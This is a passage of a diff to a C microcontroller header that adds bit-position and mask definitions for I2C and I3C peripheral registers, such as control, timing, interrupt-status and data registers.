I2C_CR1_SBC I2C_CR1_SBC_Msk /*!< Slave byte control */ +#define I2C_CR1_NOSTRETCH_Pos (17U) +#define I2C_CR1_NOSTRETCH_Msk (0x1UL << I2C_CR1_NOSTRETCH_Pos) /*!< 0x00020000 */ +#define I2C_CR1_NOSTRETCH I2C_CR1_NOSTRETCH_Msk /*!< Clock stretching disable */ +#define I2C_CR1_WUPEN_Pos (18U) +#define I2C_CR1_WUPEN_Msk (0x1UL << I2C_CR1_WUPEN_Pos) /*!< 0x00040000 */ +#define I2C_CR1_WUPEN I2C_CR1_WUPEN_Msk /*!< Wakeup from STOP enable */ +#define I2C_CR1_GCEN_Pos (19U) +#define I2C_CR1_GCEN_Msk (0x1UL << I2C_CR1_GCEN_Pos) /*!< 0x00080000 */ +#define I2C_CR1_GCEN I2C_CR1_GCEN_Msk /*!< General call enable */ +#define I2C_CR1_SMBHEN_Pos (20U) +#define I2C_CR1_SMBHEN_Msk (0x1UL << I2C_CR1_SMBHEN_Pos) /*!< 0x00100000 */ +#define I2C_CR1_SMBHEN I2C_CR1_SMBHEN_Msk /*!< SMBus host address enable */ +#define I2C_CR1_SMBDEN_Pos (21U) +#define I2C_CR1_SMBDEN_Msk (0x1UL << I2C_CR1_SMBDEN_Pos) /*!< 0x00200000 */ +#define I2C_CR1_SMBDEN I2C_CR1_SMBDEN_Msk /*!< SMBus device default address enable */ +#define I2C_CR1_ALERTEN_Pos (22U) +#define I2C_CR1_ALERTEN_Msk (0x1UL << I2C_CR1_ALERTEN_Pos) /*!< 0x00400000 */ +#define I2C_CR1_ALERTEN I2C_CR1_ALERTEN_Msk /*!< SMBus alert enable */ +#define I2C_CR1_PECEN_Pos (23U) +#define I2C_CR1_PECEN_Msk (0x1UL << I2C_CR1_PECEN_Pos) /*!< 0x00800000 */ +#define I2C_CR1_PECEN I2C_CR1_PECEN_Msk /*!< PEC enable */ +#define I2C_CR1_FMP_Pos (24U) +#define I2C_CR1_FMP_Msk (0x1UL << I2C_CR1_FMP_Pos) /*!< 0x01000000 */ +#define I2C_CR1_FMP I2C_CR1_FMP_Msk /*!< Fast-mode Plus 20 mA drive enable */ +#define I2C_CR1_ADDRACLR_Pos (30U) +#define I2C_CR1_ADDRACLR_Msk (0x1UL << I2C_CR1_ADDRACLR_Pos) /*!< 0x40000000 */ +#define I2C_CR1_ADDRACLR I2C_CR1_ADDRACLR_Msk /*!< ADDRACLR enable */ +#define I2C_CR1_STOPFACLR_Pos (31U) +#define I2C_CR1_STOPFACLR_Msk (0x1UL << I2C_CR1_STOPFACLR_Pos) /*!< 0x80000000 */ +#define I2C_CR1_STOPFACLR I2C_CR1_STOPFACLR_Msk /*!< STOPFACLR enable */ + +/****************** Bit definition for I2C_CR2 register ********************/ +#define I2C_CR2_SADD_Pos (0U) +#define I2C_CR2_SADD_Msk (0x3FFUL << I2C_CR2_SADD_Pos) /*!< 0x000003FF */ +#define I2C_CR2_SADD I2C_CR2_SADD_Msk /*!< Slave address (master mode) */ +#define I2C_CR2_RD_WRN_Pos (10U) +#define I2C_CR2_RD_WRN_Msk (0x1UL << I2C_CR2_RD_WRN_Pos) /*!< 0x00000400 */ +#define I2C_CR2_RD_WRN I2C_CR2_RD_WRN_Msk /*!< Transfer direction (master mode) */ +#define I2C_CR2_ADD10_Pos (11U) +#define I2C_CR2_ADD10_Msk (0x1UL << I2C_CR2_ADD10_Pos) /*!< 0x00000800 */ +#define I2C_CR2_ADD10 I2C_CR2_ADD10_Msk /*!< 10-bit addressing mode (master mode) */ +#define I2C_CR2_HEAD10R_Pos (12U) +#define I2C_CR2_HEAD10R_Msk (0x1UL << I2C_CR2_HEAD10R_Pos) /*!< 0x00001000 */ +#define I2C_CR2_HEAD10R I2C_CR2_HEAD10R_Msk /*!< 10-bit address header only read direction (master mode) */ +#define I2C_CR2_START_Pos (13U) +#define I2C_CR2_START_Msk (0x1UL << I2C_CR2_START_Pos) /*!< 0x00002000 */ +#define I2C_CR2_START I2C_CR2_START_Msk /*!< START generation */ +#define I2C_CR2_STOP_Pos (14U) +#define I2C_CR2_STOP_Msk (0x1UL << I2C_CR2_STOP_Pos) /*!< 0x00004000 */ +#define I2C_CR2_STOP I2C_CR2_STOP_Msk /*!< STOP generation (master mode) */ +#define I2C_CR2_NACK_Pos (15U) +#define I2C_CR2_NACK_Msk (0x1UL << I2C_CR2_NACK_Pos) /*!< 0x00008000 */ +#define I2C_CR2_NACK I2C_CR2_NACK_Msk /*!< NACK generation (slave mode) */ +#define I2C_CR2_NBYTES_Pos (16U) +#define I2C_CR2_NBYTES_Msk (0xFFUL << I2C_CR2_NBYTES_Pos) /*!< 0x00FF0000 */ +#define I2C_CR2_NBYTES I2C_CR2_NBYTES_Msk /*!< Number of bytes */ +#define I2C_CR2_RELOAD_Pos (24U) +#define I2C_CR2_RELOAD_Msk (0x1UL << I2C_CR2_RELOAD_Pos) /*!< 0x01000000 */ +#define I2C_CR2_RELOAD I2C_CR2_RELOAD_Msk /*!< NBYTES reload mode */ +#define I2C_CR2_AUTOEND_Pos (25U) +#define I2C_CR2_AUTOEND_Msk (0x1UL << I2C_CR2_AUTOEND_Pos) /*!< 0x02000000 */ +#define I2C_CR2_AUTOEND I2C_CR2_AUTOEND_Msk /*!< Automatic end mode (master mode) */ +#define I2C_CR2_PECBYTE_Pos (26U) +#define I2C_CR2_PECBYTE_Msk (0x1UL << I2C_CR2_PECBYTE_Pos) /*!< 0x04000000 */ +#define I2C_CR2_PECBYTE I2C_CR2_PECBYTE_Msk /*!< Packet error checking byte */ + +/******************* Bit definition for I2C_OAR1 register ******************/ +#define I2C_OAR1_OA1_Pos (0U) +#define I2C_OAR1_OA1_Msk (0x3FFUL << I2C_OAR1_OA1_Pos) /*!< 0x000003FF */ +#define I2C_OAR1_OA1 I2C_OAR1_OA1_Msk /*!< Interface own address 1 */ +#define I2C_OAR1_OA1MODE_Pos (10U) +#define I2C_OAR1_OA1MODE_Msk (0x1UL << I2C_OAR1_OA1MODE_Pos) /*!< 0x00000400 */ +#define I2C_OAR1_OA1MODE I2C_OAR1_OA1MODE_Msk /*!< Own address 1 10-bit mode */ +#define I2C_OAR1_OA1EN_Pos (15U) +#define I2C_OAR1_OA1EN_Msk (0x1UL << I2C_OAR1_OA1EN_Pos) /*!< 0x00008000 */ +#define I2C_OAR1_OA1EN I2C_OAR1_OA1EN_Msk /*!< Own address 1 enable */ + +/******************* Bit definition for I2C_OAR2 register ******************/ +#define I2C_OAR2_OA2_Pos (1U) +#define I2C_OAR2_OA2_Msk (0x7FUL << I2C_OAR2_OA2_Pos) /*!< 0x000000FE */ +#define I2C_OAR2_OA2 I2C_OAR2_OA2_Msk /*!< Interface own address 2 */ +#define I2C_OAR2_OA2MSK_Pos (8U) +#define I2C_OAR2_OA2MSK_Msk (0x7UL << I2C_OAR2_OA2MSK_Pos) /*!< 0x00000700 */ +#define I2C_OAR2_OA2MSK I2C_OAR2_OA2MSK_Msk /*!< Own address 2 masks */ +#define I2C_OAR2_OA2NOMASK (0x00000000UL) /*!< No mask */ +#define I2C_OAR2_OA2MASK01_Pos (8U) +#define I2C_OAR2_OA2MASK01_Msk (0x1UL << I2C_OAR2_OA2MASK01_Pos) /*!< 0x00000100 */ +#define I2C_OAR2_OA2MASK01 I2C_OAR2_OA2MASK01_Msk /*!< OA2[1] is masked, Only OA2[7:2] are compared */ +#define I2C_OAR2_OA2MASK02_Pos (9U) +#define I2C_OAR2_OA2MASK02_Msk (0x1UL << I2C_OAR2_OA2MASK02_Pos) /*!< 0x00000200 */ +#define I2C_OAR2_OA2MASK02 I2C_OAR2_OA2MASK02_Msk /*!< OA2[2:1] is masked, Only OA2[7:3] are compared */ +#define I2C_OAR2_OA2MASK03_Pos (8U) +#define I2C_OAR2_OA2MASK03_Msk (0x3UL << I2C_OAR2_OA2MASK03_Pos) /*!< 0x00000300 */ +#define I2C_OAR2_OA2MASK03 I2C_OAR2_OA2MASK03_Msk /*!< OA2[3:1] is masked, Only OA2[7:4] are compared */ +#define I2C_OAR2_OA2MASK04_Pos (10U) +#define I2C_OAR2_OA2MASK04_Msk (0x1UL << I2C_OAR2_OA2MASK04_Pos) /*!< 0x00000400 */ +#define I2C_OAR2_OA2MASK04 I2C_OAR2_OA2MASK04_Msk /*!< OA2[4:1] is masked, Only OA2[7:5] are compared */ +#define I2C_OAR2_OA2MASK05_Pos (8U) +#define I2C_OAR2_OA2MASK05_Msk (0x5UL << I2C_OAR2_OA2MASK05_Pos) /*!< 0x00000500 */ +#define I2C_OAR2_OA2MASK05 I2C_OAR2_OA2MASK05_Msk /*!< OA2[5:1] is masked, Only OA2[7:6] are compared */ +#define I2C_OAR2_OA2MASK06_Pos (9U) +#define I2C_OAR2_OA2MASK06_Msk (0x3UL << I2C_OAR2_OA2MASK06_Pos) /*!< 0x00000600 */ +#define I2C_OAR2_OA2MASK06 I2C_OAR2_OA2MASK06_Msk /*!< OA2[6:1] is masked, Only OA2[7] are compared */ +#define I2C_OAR2_OA2MASK07_Pos (8U) +#define I2C_OAR2_OA2MASK07_Msk (0x7UL << I2C_OAR2_OA2MASK07_Pos) /*!< 0x00000700 */ +#define I2C_OAR2_OA2MASK07 I2C_OAR2_OA2MASK07_Msk /*!< OA2[7:1] is masked, No comparison is done */ +#define I2C_OAR2_OA2EN_Pos (15U) +#define I2C_OAR2_OA2EN_Msk (0x1UL << I2C_OAR2_OA2EN_Pos) /*!< 0x00008000 */ +#define I2C_OAR2_OA2EN I2C_OAR2_OA2EN_Msk /*!< Own address 2 enable */ + +/******************* Bit definition for I2C_TIMINGR register *******************/ +#define I2C_TIMINGR_SCLL_Pos (0U) +#define I2C_TIMINGR_SCLL_Msk (0xFFUL << I2C_TIMINGR_SCLL_Pos) /*!< 0x000000FF */ +#define I2C_TIMINGR_SCLL I2C_TIMINGR_SCLL_Msk /*!< SCL low period (master mode) */ +#define I2C_TIMINGR_SCLH_Pos (8U) +#define I2C_TIMINGR_SCLH_Msk (0xFFUL << I2C_TIMINGR_SCLH_Pos) /*!< 0x0000FF00 */ +#define I2C_TIMINGR_SCLH I2C_TIMINGR_SCLH_Msk /*!< SCL high period (master mode) */ +#define I2C_TIMINGR_SDADEL_Pos (16U) +#define I2C_TIMINGR_SDADEL_Msk (0xFUL << I2C_TIMINGR_SDADEL_Pos) /*!< 0x000F0000 */ +#define I2C_TIMINGR_SDADEL I2C_TIMINGR_SDADEL_Msk /*!< Data hold time */ +#define I2C_TIMINGR_SCLDEL_Pos (20U) +#define I2C_TIMINGR_SCLDEL_Msk (0xFUL << I2C_TIMINGR_SCLDEL_Pos) /*!< 0x00F00000 */ +#define I2C_TIMINGR_SCLDEL I2C_TIMINGR_SCLDEL_Msk /*!< Data setup time */ +#define I2C_TIMINGR_PRESC_Pos (28U) +#define I2C_TIMINGR_PRESC_Msk (0xFUL << I2C_TIMINGR_PRESC_Pos) /*!< 0xF0000000 */ +#define I2C_TIMINGR_PRESC I2C_TIMINGR_PRESC_Msk /*!< Timings prescaler */ + +/******************* Bit definition for I2C_TIMEOUTR register *******************/ +#define I2C_TIMEOUTR_TIMEOUTA_Pos (0U) +#define I2C_TIMEOUTR_TIMEOUTA_Msk (0xFFFUL << I2C_TIMEOUTR_TIMEOUTA_Pos) /*!< 0x00000FFF */ +#define I2C_TIMEOUTR_TIMEOUTA I2C_TIMEOUTR_TIMEOUTA_Msk /*!< Bus timeout A */ +#define I2C_TIMEOUTR_TIDLE_Pos (12U) +#define I2C_TIMEOUTR_TIDLE_Msk (0x1UL << I2C_TIMEOUTR_TIDLE_Pos) /*!< 0x00001000 */ +#define I2C_TIMEOUTR_TIDLE I2C_TIMEOUTR_TIDLE_Msk /*!< Idle clock timeout detection */ +#define I2C_TIMEOUTR_TIMOUTEN_Pos (15U) +#define I2C_TIMEOUTR_TIMOUTEN_Msk (0x1UL << I2C_TIMEOUTR_TIMOUTEN_Pos) /*!< 0x00008000 */ +#define I2C_TIMEOUTR_TIMOUTEN I2C_TIMEOUTR_TIMOUTEN_Msk /*!< Clock timeout enable */ +#define I2C_TIMEOUTR_TIMEOUTB_Pos (16U) +#define I2C_TIMEOUTR_TIMEOUTB_Msk (0xFFFUL << I2C_TIMEOUTR_TIMEOUTB_Pos) /*!< 0x0FFF0000 */ +#define I2C_TIMEOUTR_TIMEOUTB I2C_TIMEOUTR_TIMEOUTB_Msk /*!< Bus timeout B*/ +#define I2C_TIMEOUTR_TEXTEN_Pos (31U) +#define I2C_TIMEOUTR_TEXTEN_Msk (0x1UL << I2C_TIMEOUTR_TEXTEN_Pos) /*!< 0x80000000 */ +#define I2C_TIMEOUTR_TEXTEN I2C_TIMEOUTR_TEXTEN_Msk /*!< Extended clock timeout enable */ + +/****************** Bit definition for I2C_ISR register *********************/ +#define I2C_ISR_TXE_Pos (0U) +#define I2C_ISR_TXE_Msk (0x1UL << I2C_ISR_TXE_Pos) /*!< 0x00000001 */ +#define I2C_ISR_TXE I2C_ISR_TXE_Msk /*!< Transmit data register empty */ +#define I2C_ISR_TXIS_Pos (1U) +#define I2C_ISR_TXIS_Msk (0x1UL << I2C_ISR_TXIS_Pos) /*!< 0x00000002 */ +#define I2C_ISR_TXIS I2C_ISR_TXIS_Msk /*!< Transmit interrupt status */ +#define I2C_ISR_RXNE_Pos (2U) +#define I2C_ISR_RXNE_Msk (0x1UL << I2C_ISR_RXNE_Pos) /*!< 0x00000004 */ +#define I2C_ISR_RXNE I2C_ISR_RXNE_Msk /*!< Receive data register not empty */ +#define I2C_ISR_ADDR_Pos (3U) +#define I2C_ISR_ADDR_Msk (0x1UL << I2C_ISR_ADDR_Pos) /*!< 0x00000008 */ +#define I2C_ISR_ADDR I2C_ISR_ADDR_Msk /*!< Address matched (slave mode)*/ +#define I2C_ISR_NACKF_Pos (4U) +#define I2C_ISR_NACKF_Msk (0x1UL << I2C_ISR_NACKF_Pos) /*!< 0x00000010 */ +#define I2C_ISR_NACKF I2C_ISR_NACKF_Msk /*!< NACK received flag */ +#define I2C_ISR_STOPF_Pos (5U) +#define I2C_ISR_STOPF_Msk (0x1UL << I2C_ISR_STOPF_Pos) /*!< 0x00000020 */ +#define I2C_ISR_STOPF I2C_ISR_STOPF_Msk /*!< STOP detection flag */ +#define I2C_ISR_TC_Pos (6U) +#define I2C_ISR_TC_Msk (0x1UL << I2C_ISR_TC_Pos) /*!< 0x00000040 */ +#define I2C_ISR_TC I2C_ISR_TC_Msk /*!< Transfer complete (master mode) */ +#define I2C_ISR_TCR_Pos (7U) +#define I2C_ISR_TCR_Msk (0x1UL << I2C_ISR_TCR_Pos) /*!< 0x00000080 */ +#define I2C_ISR_TCR I2C_ISR_TCR_Msk /*!< Transfer complete reload */ +#define I2C_ISR_BERR_Pos (8U) +#define I2C_ISR_BERR_Msk (0x1UL << I2C_ISR_BERR_Pos) /*!< 0x00000100 */ +#define I2C_ISR_BERR I2C_ISR_BERR_Msk /*!< Bus error */ +#define I2C_ISR_ARLO_Pos (9U) +#define I2C_ISR_ARLO_Msk (0x1UL << I2C_ISR_ARLO_Pos) /*!< 0x00000200 */ +#define I2C_ISR_ARLO I2C_ISR_ARLO_Msk /*!< Arbitration lost */ +#define I2C_ISR_OVR_Pos (10U) +#define I2C_ISR_OVR_Msk (0x1UL << I2C_ISR_OVR_Pos) /*!< 0x00000400 */ +#define I2C_ISR_OVR I2C_ISR_OVR_Msk /*!< Overrun/Underrun */ +#define I2C_ISR_PECERR_Pos (11U) +#define I2C_ISR_PECERR_Msk (0x1UL << I2C_ISR_PECERR_Pos) /*!< 0x00000800 */ +#define I2C_ISR_PECERR I2C_ISR_PECERR_Msk /*!< PEC error in reception */ +#define I2C_ISR_TIMEOUT_Pos (12U) +#define I2C_ISR_TIMEOUT_Msk (0x1UL << I2C_ISR_TIMEOUT_Pos) /*!< 0x00001000 */ +#define I2C_ISR_TIMEOUT I2C_ISR_TIMEOUT_Msk /*!< Timeout or Tlow detection flag */ +#define I2C_ISR_ALERT_Pos (13U) +#define I2C_ISR_ALERT_Msk (0x1UL << I2C_ISR_ALERT_Pos) /*!< 0x00002000 */ +#define I2C_ISR_ALERT I2C_ISR_ALERT_Msk /*!< SMBus alert */ +#define I2C_ISR_BUSY_Pos (15U) +#define I2C_ISR_BUSY_Msk (0x1UL << I2C_ISR_BUSY_Pos) /*!< 0x00008000 */ +#define I2C_ISR_BUSY I2C_ISR_BUSY_Msk /*!< Bus busy */ +#define I2C_ISR_DIR_Pos (16U) +#define I2C_ISR_DIR_Msk (0x1UL << I2C_ISR_DIR_Pos) /*!< 0x00010000 */ +#define I2C_ISR_DIR I2C_ISR_DIR_Msk /*!< Transfer direction (slave mode) */ +#define I2C_ISR_ADDCODE_Pos (17U) +#define I2C_ISR_ADDCODE_Msk (0x7FUL << I2C_ISR_ADDCODE_Pos) /*!< 0x00FE0000 */ +#define I2C_ISR_ADDCODE I2C_ISR_ADDCODE_Msk /*!< Address match code (slave mode) */ + +/****************** Bit definition for I2C_ICR register *********************/ +#define I2C_ICR_ADDRCF_Pos (3U) +#define I2C_ICR_ADDRCF_Msk (0x1UL << I2C_ICR_ADDRCF_Pos) /*!< 0x00000008 */ +#define I2C_ICR_ADDRCF I2C_ICR_ADDRCF_Msk /*!< Address matched clear flag */ +#define I2C_ICR_NACKCF_Pos (4U) +#define I2C_ICR_NACKCF_Msk (0x1UL << I2C_ICR_NACKCF_Pos) /*!< 0x00000010 */ +#define I2C_ICR_NACKCF I2C_ICR_NACKCF_Msk /*!< NACK clear flag */ +#define I2C_ICR_STOPCF_Pos (5U) +#define I2C_ICR_STOPCF_Msk (0x1UL << I2C_ICR_STOPCF_Pos) /*!< 0x00000020 */ +#define I2C_ICR_STOPCF I2C_ICR_STOPCF_Msk /*!< STOP detection clear flag */ +#define I2C_ICR_BERRCF_Pos (8U) +#define I2C_ICR_BERRCF_Msk (0x1UL << I2C_ICR_BERRCF_Pos) /*!< 0x00000100 */ +#define I2C_ICR_BERRCF I2C_ICR_BERRCF_Msk /*!< Bus error clear flag */ +#define I2C_ICR_ARLOCF_Pos (9U) +#define I2C_ICR_ARLOCF_Msk (0x1UL << I2C_ICR_ARLOCF_Pos) /*!< 0x00000200 */ +#define I2C_ICR_ARLOCF I2C_ICR_ARLOCF_Msk /*!< Arbitration lost clear flag */ +#define I2C_ICR_OVRCF_Pos (10U) +#define I2C_ICR_OVRCF_Msk (0x1UL << I2C_ICR_OVRCF_Pos) /*!< 0x00000400 */ +#define I2C_ICR_OVRCF I2C_ICR_OVRCF_Msk /*!< Overrun/Underrun clear flag */ +#define I2C_ICR_PECCF_Pos (11U) +#define I2C_ICR_PECCF_Msk (0x1UL << I2C_ICR_PECCF_Pos) /*!< 0x00000800 */ +#define I2C_ICR_PECCF I2C_ICR_PECCF_Msk /*!< PAC error clear flag */ +#define I2C_ICR_TIMOUTCF_Pos (12U) +#define I2C_ICR_TIMOUTCF_Msk (0x1UL << I2C_ICR_TIMOUTCF_Pos) /*!< 0x00001000 */ +#define I2C_ICR_TIMOUTCF I2C_ICR_TIMOUTCF_Msk /*!< Timeout clear flag */ +#define I2C_ICR_ALERTCF_Pos (13U) +#define I2C_ICR_ALERTCF_Msk (0x1UL << I2C_ICR_ALERTCF_Pos) /*!< 0x00002000 */ +#define I2C_ICR_ALERTCF I2C_ICR_ALERTCF_Msk /*!< Alert clear flag */ + +/****************** Bit definition for I2C_PECR register *********************/ +#define I2C_PECR_PEC_Pos (0U) +#define I2C_PECR_PEC_Msk (0xFFUL << I2C_PECR_PEC_Pos) /*!< 0x000000FF */ +#define I2C_PECR_PEC I2C_PECR_PEC_Msk /*!< PEC register */ + +/****************** Bit definition for I2C_RXDR register *********************/ +#define I2C_RXDR_RXDATA_Pos (0U) +#define I2C_RXDR_RXDATA_Msk (0xFFUL << I2C_RXDR_RXDATA_Pos) /*!< 0x000000FF */ +#define I2C_RXDR_RXDATA I2C_RXDR_RXDATA_Msk /*!< 8-bit receive data */ + +/****************** Bit definition for I2C_TXDR register *********************/ +#define I2C_TXDR_TXDATA_Pos (0U) +#define I2C_TXDR_TXDATA_Msk (0xFFUL << I2C_TXDR_TXDATA_Pos) /*!< 0x000000FF */ +#define I2C_TXDR_TXDATA I2C_TXDR_TXDATA_Msk /*!< 8-bit transmit data */ + + +/******************************************************************************/ +/* */ +/* Improved Inter-integrated Circuit Interface (I3C) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for I3C_CR register *********************/ +#define I3C_CR_DCNT_Pos (0U) +#define I3C_CR_DCNT_Msk (0xFFFFUL << I3C_CR_DCNT_Pos) /*!< 0x0000FFFF */ +#define I3C_CR_DCNT I3C_CR_DCNT_Msk /*!< Data Byte Count */ +#define I3C_CR_RNW_Pos (16U) +#define I3C_CR_RNW_Msk (0x1UL << I3C_CR_RNW_Pos) /*!< 0x00010000 */ +#define I3C_CR_RNW I3C_CR_RNW_Msk /*!< Read Not Write */ +#define I3C_CR_CCC_Pos (16U) +#define I3C_CR_CCC_Msk (0xFFUL << I3C_CR_CCC_Pos) /*!< 0x00FF0000 */ +#define I3C_CR_CCC I3C_CR_CCC_Msk /*!< 8-Bit CCC code */ +#define I3C_CR_ADD_Pos (17U) +#define I3C_CR_ADD_Msk (0x7FUL << I3C_CR_ADD_Pos) /*!< 0x00FE0000 */ +#define I3C_CR_ADD I3C_CR_ADD_Msk /*!< Target Address */ +#define I3C_CR_MTYPE_Pos (27U) +#define I3C_CR_MTYPE_Msk (0xFUL << I3C_CR_MTYPE_Pos) /*!< 0xF8000000 */ +#define I3C_CR_MTYPE I3C_CR_MTYPE_Msk /*!< Message Type */ +#define I3C_CR_MTYPE_0 (0x1UL << I3C_CR_MTYPE_Pos) /*!< 0x08000000 */ +#define I3C_CR_MTYPE_1 (0x2UL << I3C_CR_MTYPE_Pos) /*!< 0x10000000 */ +#define I3C_CR_MTYPE_2 (0x4UL << I3C_CR_MTYPE_Pos) /*!< 0x20000000 */ +#define I3C_CR_MTYPE_3 (0x8UL << I3C_CR_MTYPE_Pos) /*!< 0x40000000 */ +#define I3C_CR_MEND_Pos (31U) +#define I3C_CR_MEND_Msk (0x1UL << I3C_CR_MEND_Pos) /*!< 0x80000000 */ +#define I3C_CR_MEND I3C_CR_MEND_Msk /*!< Message End */ + +/******************* Bit definition for I3C_CFGR register *******************/ +#define I3C_CFGR_EN_Pos (0U) +#define I3C_CFGR_EN_Msk (0x1UL << I3C_CFGR_EN_Pos) /*!< 0x00000001 */ +#define I3C_CFGR_EN I3C_CFGR_EN_Msk /*!< Peripheral Enable */ +#define I3C_CFGR_CRINIT_Pos (1U) +#define I3C_CFGR_CRINIT_Msk (0x1UL << I3C_CFGR_CRINIT_Pos) /*!< 0x00000002 */ +#define I3C_CFGR_CRINIT I3C_CFGR_CRINIT_Msk /*!< Peripheral Init mode (Target/Controller) */ +#define I3C_CFGR_NOARBH_Pos (2U) +#define I3C_CFGR_NOARBH_Msk (0x1UL << I3C_CFGR_NOARBH_Pos) /*!< 0x00000004 */ +#define I3C_CFGR_NOARBH I3C_CFGR_NOARBH_Msk /*!< No Arbitration Header (7'h7E)*/ +#define I3C_CFGR_RSTPTRN_Pos (3U) +#define I3C_CFGR_RSTPTRN_Msk (0x1UL << I3C_CFGR_RSTPTRN_Pos) /*!< 0x00000008 */ +#define I3C_CFGR_RSTPTRN I3C_CFGR_RSTPTRN_Msk /*!< Reset Pattern enable */ +#define I3C_CFGR_EXITPTRN_Pos (4U) +#define I3C_CFGR_EXITPTRN_Msk (0x1UL << I3C_CFGR_EXITPTRN_Pos) /*!< 0x00000010 */ +#define I3C_CFGR_EXITPTRN I3C_CFGR_EXITPTRN_Msk /*!< Exit Pattern enable */ +#define I3C_CFGR_HKSDAEN_Pos (5U) +#define I3C_CFGR_HKSDAEN_Msk (0x1UL << I3C_CFGR_HKSDAEN_Pos) /*!< 0x00000020 */ +#define I3C_CFGR_HKSDAEN I3C_CFGR_HKSDAEN_Msk /*!< High-Keeper on SDA Enable */ +#define I3C_CFGR_HJACK_Pos (7U) +#define I3C_CFGR_HJACK_Msk (0x1UL << I3C_CFGR_HJACK_Pos) /*!< 0x00000080 */ +#define I3C_CFGR_HJACK I3C_CFGR_HJACK_Msk /*!< Hot Join Acknowledgment */ +#define I3C_CFGR_RXDMAEN_Pos (8U) +#define I3C_CFGR_RXDMAEN_Msk (0x1UL << I3C_CFGR_RXDMAEN_Pos) /*!< 0x00000100 */ +#define I3C_CFGR_RXDMAEN I3C_CFGR_RXDMAEN_Msk /*!< RX FIFO DMA mode Enable */ +#define I3C_CFGR_RXFLUSH_Pos (9U) +#define I3C_CFGR_RXFLUSH_Msk (0x1UL << I3C_CFGR_RXFLUSH_Pos) /*!< 0x00000200 */ +#define I3C_CFGR_RXFLUSH I3C_CFGR_RXFLUSH_Msk /*!< RX FIFO Flush */ +#define I3C_CFGR_RXTHRES_Pos (10U) +#define I3C_CFGR_RXTHRES_Msk (0x1UL << I3C_CFGR_RXTHRES_Pos) /*!< 0x00000400 */ +#define I3C_CFGR_RXTHRES I3C_CFGR_RXTHRES_Msk /*!< RX FIFO Threshold */ +#define I3C_CFGR_TXDMAEN_Pos (12U) +#define I3C_CFGR_TXDMAEN_Msk (0x1UL << I3C_CFGR_TXDMAEN_Pos) /*!< 0x00001000 */ +#define I3C_CFGR_TXDMAEN I3C_CFGR_TXDMAEN_Msk /*!< TX FIFO DMA mode Enable */ +#define I3C_CFGR_TXFLUSH_Pos (13U) +#define I3C_CFGR_TXFLUSH_Msk (0x1UL << I3C_CFGR_TXFLUSH_Pos) /*!< 0x00002000 */ +#define I3C_CFGR_TXFLUSH I3C_CFGR_TXFLUSH_Msk /*!< TX FIFO Flush */ +#define I3C_CFGR_TXTHRES_Pos (14U) +#define I3C_CFGR_TXTHRES_Msk (0x1UL << I3C_CFGR_TXTHRES_Pos) /*!< 0x00004000 */ +#define I3C_CFGR_TXTHRES I3C_CFGR_TXTHRES_Msk /*!< TX FIFO Threshold */ +#define I3C_CFGR_SDMAEN_Pos (16U) +#define I3C_CFGR_SDMAEN_Msk (0x1UL << I3C_CFGR_SDMAEN_Pos) /*!< 0x00010000 */ +#define I3C_CFGR_SDMAEN I3C_CFGR_SDMAEN_Msk /*!< Status FIFO DMA mode Enable */ +#define I3C_CFGR_SFLUSH_Pos (17U) +#define I3C_CFGR_SFLUSH_Msk (0x1UL << I3C_CFGR_SFLUSH_Pos) /*!< 0x00020000 */ +#define I3C_CFGR_SFLUSH I3C_CFGR_SFLUSH_Msk /*!< Status FIFO Flush */ +#define I3C_CFGR_SMODE_Pos (18U) +#define I3C_CFGR_SMODE_Msk (0x1UL << I3C_CFGR_SMODE_Pos) /*!< 0x00040000 */ +#define I3C_CFGR_SMODE I3C_CFGR_SMODE_Msk /*!< Status FIFO mode Enable */ +#define I3C_CFGR_TMODE_Pos (19U) +#define I3C_CFGR_TMODE_Msk (0x1UL << I3C_CFGR_TMODE_Pos) /*!< 0x00080000 */ +#define I3C_CFGR_TMODE I3C_CFGR_TMODE_Msk /*!< Control FIFO mode Enable */ +#define I3C_CFGR_CDMAEN_Pos (20U) +#define I3C_CFGR_CDMAEN_Msk (0x1UL << I3C_CFGR_CDMAEN_Pos) /*!< 0x00100000 */ +#define I3C_CFGR_CDMAEN I3C_CFGR_CDMAEN_Msk /*!< Control FIFO DMA mode Enable */ +#define I3C_CFGR_CFLUSH_Pos (21U) +#define I3C_CFGR_CFLUSH_Msk (0x1UL << I3C_CFGR_CFLUSH_Pos) /*!< 0x00200000 */ +#define I3C_CFGR_CFLUSH I3C_CFGR_CFLUSH_Msk /*!< Control FIFO Flush */ +#define I3C_CFGR_TSFSET_Pos (30U) +#define I3C_CFGR_TSFSET_Msk (0x1UL << I3C_CFGR_TSFSET_Pos) /*!< 0x40000000 */ +#define I3C_CFGR_TSFSET I3C_CFGR_TSFSET_Msk /*!< Transfer Set */ + +/******************* Bit definition for I3C_RDR register ********************/ +#define I3C_RDR_RDB0_Pos (0U) +#define I3C_RDR_RDB0_Msk (0xFFUL << I3C_RDR_RDB0_Pos) /*!< 0x000000FF */ +#define I3C_RDR_RDB0 I3C_RDR_RDB0_Msk /*!< Receive Data Byte */ + +/****************** Bit definition for I3C_RDWR register ********************/ +#define I3C_RDWR_RDBx_Pos (0U) +#define I3C_RDWR_RDBx_Msk (0xFFFFFFFFUL << I3C_RDWR_RDBx_Pos) /*!< 0xFFFFFFFF */ +#define I3C_RDWR_RDBx I3C_RDWR_RDBx_Msk /*!< Receive Data Byte, full double word */ +#define I3C_RDWR_RDB0_Pos (0U) +#define I3C_RDWR_RDB0_Msk (0xFFUL << I3C_RDWR_RDB0_Pos) /*!< 0x000000FF */ +#define I3C_RDWR_RDB0 I3C_RDWR_RDB0_Msk /*!< Receive Data Byte 0 */ +#define I3C_RDWR_RDB1_Pos (8U) +#define I3C_RDWR_RDB1_Msk (0xFFUL << I3C_RDWR_RDB1_Pos) /*!< 0x0000FF00 */ +#define I3C_RDWR_RDB1 I3C_RDWR_RDB1_Msk /*!< Receive Data Byte 1 */ +#define I3C_RDWR_RDB2_Pos (16U) +#define I3C_RDWR_RDB2_Msk (0xFFUL << I3C_RDWR_RDB2_Pos) /*!< 0x00FF0000 */ +#define I3C_RDWR_RDB2 I3C_RDWR_RDB2_Msk /*!< Receive Data Byte 2 */ +#define I3C_RDWR_RDB3_Pos (24U) +#define I3C_RDWR_RDB3_Msk (0xFFUL << I3C_RDWR_RDB3_Pos) /*!< 0xFF000000 */ +#define I3C_RDWR_RDB3 I3C_RDWR_RDB3_Msk /*!< Receive Data Byte 3 */ + +/******************* Bit definition for I3C_TDR register ********************/ +#define I3C_TDR_TDB0_Pos (0U) +#define 